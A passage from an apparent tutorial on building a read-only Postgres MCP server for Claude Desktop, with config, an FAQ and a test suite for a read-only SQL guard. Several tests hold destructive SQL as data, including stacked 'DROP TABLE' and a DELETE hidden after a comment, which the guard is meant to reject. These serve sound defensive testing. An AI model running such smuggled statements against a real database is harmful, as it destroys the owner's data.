false, "resolveJsonModule": true }, "include": ["src/**/*.ts"] } ``` Install dependencies and compile to `dist/`: ```bash npm install && npm run build ``` Then add the server to your Claude Desktop config (`~/Library/Application Support/Claude/claude_desktop_config.json` on macOS), using the absolute path to the compiled entrypoint and the read-only connection string: ```json { "mcpServers": { "postgres": { "command": "node", "args": [ "/absolute/path/to/dist/index.js" ], "env": { "DATABASE_URL": "postgres://mcp_readonly:mcp_readonly@localhost:5432/shop" } } } } ``` Restart Claude Desktop, confirm the `postgres` server is connected, and ask a real question: "Which customers spent the most? Join orders, order_items and products." Claude will call `list_tables` and `describe_table` to learn the schema, write the SQL, call `query`, and answer in prose. You never wrote the join. In MCPOrbit the same connection is a form, and you start it by pressing Connect. Command is `node`, Arguments is the absolute path to `dist/index.js`, and the read-only `DATABASE_URL` goes in Environment Variables. The split is the part to get right: `node` on its own in Command, the path in Arguments, rather than the whole line in one field. [How to add an MCP server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) has the whole flow. ## How do you know it actually works? Because a build-it tutorial is worthless if the code doesn't run, this project is verified end to end before publishing. `npm install` compiles cleanly against the pinned versions, an 11-case test suite exercises the read-only guard (accept `SELECT`/`WITH` and column names like `created_at`; reject `INSERT`/`UPDATE`/`DELETE`/`DROP`, stacked statements, and writes hidden after comments), and the compiled server completes a real MCP stdio handshake that lists all three tools and the schema resource. No AI-slop guesswork. That guard suite is worth keeping as you extend the server. Save it as `src/guard.test.ts` and run it with `npm test`: ```typescript import { test } from "node:test"; import assert from "node:assert/strict"; import { assertReadOnly } from "./db.js"; test("allows a plain SELECT", () => { assert.doesNotThrow(() => assertReadOnly("SELECT * FROM orders")); }); test("allows a CTE (WITH ...)", () => { assert.doesNotThrow(() => assertReadOnly("WITH t AS (SELECT 1 AS n) SELECT n FROM t"), ); }); test("allows a trailing semicolon", () => { assert.doesNotThrow(() => assertReadOnly("SELECT 1;")); }); test("does not trip on column names containing keywords", () => { assert.doesNotThrow(() => assertReadOnly("SELECT created_at, updated_at FROM orders"), ); }); test("rejects INSERT", () => { assert.throws(() => assertReadOnly("INSERT INTO orders (id) VALUES (1)")); }); test("rejects UPDATE", () => { assert.throws(() => assertReadOnly("UPDATE orders SET total = 0")); }); test("rejects DELETE", () => { assert.throws(() => assertReadOnly("DELETE FROM orders")); }); test("rejects DROP", () => { assert.throws(() => assertReadOnly("DROP TABLE orders")); }); test("rejects stacked statements", () => { assert.throws(() => assertReadOnly("SELECT 1; DROP TABLE orders"), ); }); test("rejects a write hidden after a comment", () => { assert.throws(() => assertReadOnly("SELECT 1 -- ok\n; DELETE FROM orders"), ); }); test("rejects an empty query", () => { assert.throws(() => assertReadOnly(" ")); }); ``` --- ## Frequently asked questions ### Can Claude modify or delete data through this MCP server? No. The server connects as a `SELECT`-only Postgres role, runs every statement inside a `READ ONLY` transaction, and rejects any query that isn't a single `SELECT` or `WITH` before it reaches the database. To write data you would have to change all three layers deliberately. ### Do I need Docker, or can I use my own Postgres? Docker is only for the one-command seeded demo database. To use your own Postgres, set `DATABASE_URL` to a connection string for a read-only role and skip `docker compose`. Everything else is identical. ### Does this work with clients other than Claude Desktop? Yes. MCP is an open standard, so the same stdio server works in any MCP-capable client (other desktop apps, IDE integrations, or your own code using the MCP SDK). Claude Desktop is just the quickest way to try it. ### Why expose both tools and resources? Tools are actions the model chooses to call (`query`, `list_tables`, `describe_table`). Resources are read-only context a user can attach up front, namely the schema and per-table columns, so the model can plan a query without spending tool calls discovering the schema. Most database servers benefit from both. ### How do I stop a huge query from overwhelming the model or the database? The server sets a 5-second `statement_timeout` and caps results at 200 rows, flagging truncation so the model knows to add a `WHERE` or `LIMIT`. Both limits are constants in `src/db.ts` you can tune for your workload. ### Is this production-ready? It is a minimal, safe foundation rather than a turnkey product. For production, keep the least-privilege role, add connection pooling limits appropriate to your load, consider per-tenant credentials, and log tool calls for audit. The read-only design means it is safe to experiment with today. ---